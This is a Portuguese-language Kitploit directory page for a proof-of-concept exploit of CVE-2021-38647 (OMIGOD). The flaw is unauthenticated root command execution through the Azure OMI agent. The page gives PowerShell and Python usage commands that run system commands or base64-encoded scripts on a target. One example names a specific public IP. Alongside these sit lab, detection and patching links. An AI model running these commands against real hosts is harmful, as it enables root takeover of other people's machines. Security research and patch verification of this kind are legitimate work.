Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-38647 — CVE-2021-38647 - POC para explorar RCE não autenticado #OMIGOD | Kitploit
Ferramentas/GitHubGitHub/alteredsecurity/cve-2021-38647
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoSegurança na NuvemAprendizado e EducaçãoFerramenta de Acesso Remoto
GitHubalteredsecurity/cve-2021-38647

CVE-2021-38647

CVE-2021-38647 - POC para explorar RCE não autenticado #OMIGOD

Ver Repositório
6823há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

CVE-2021-38647

CVE-2021-38647 - POC para explorar RCE não autenticado #OMIGOD em VMs UNIX/Linux do Azure!

Detalhes

No Microsoft Azure, o aplicativo OMI é instalado automaticamente quando serviços como Azure Automation Accounts, Update Management, Log Analytics, Configuration Management, etc., são usados para VMs UNIX/Linux. O aplicativo OMI também expõe o serviço na porta 5986 se o serviço Configuration Management for usado para gerenciar a máquina remotamente.

Qualquer pessoa com acesso de rede a um endpoint vulnerável pode enviar uma requisição que utiliza o provedor SCXcore sem o cabeçalho Authorization e executar comandos do sistema operacional na máquina alvo com privilégios de root!

Esta vulnerabilidade já foi corrigida, mas sempre vale a pena verificar contra VMs Linux no Azure.

Uso

PowerShell

root@kitploit:~
# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

root@kitploit:~
# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

Python

root@kitploit:~
# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

root@kitploit:~
# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) #  For Windows

echo 'id' | base64 # For Linux

python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==

Implantar Ambiente de Teste

Modelo ARM para implantar no Azure - https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI

Implantar sem Azure - https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956

Detecção e Mitigações

https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093

Para mitigar a vulnerabilidade, precisamos atualizar o agente OMI para a versão 1.6.8.1 ou superior.

Links de Referência

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647

https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956

https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093

https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI

Blog

https://www.alteredsecurity.com/post/omigod-cve-2021-38647

Créditos

Equipe WIZ - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

Aviso Legal

Este projeto é destinado apenas para fins educacionais. O criador não se responsabiliza por qualquer uso indevido desta ferramenta.

Baixar ferramenta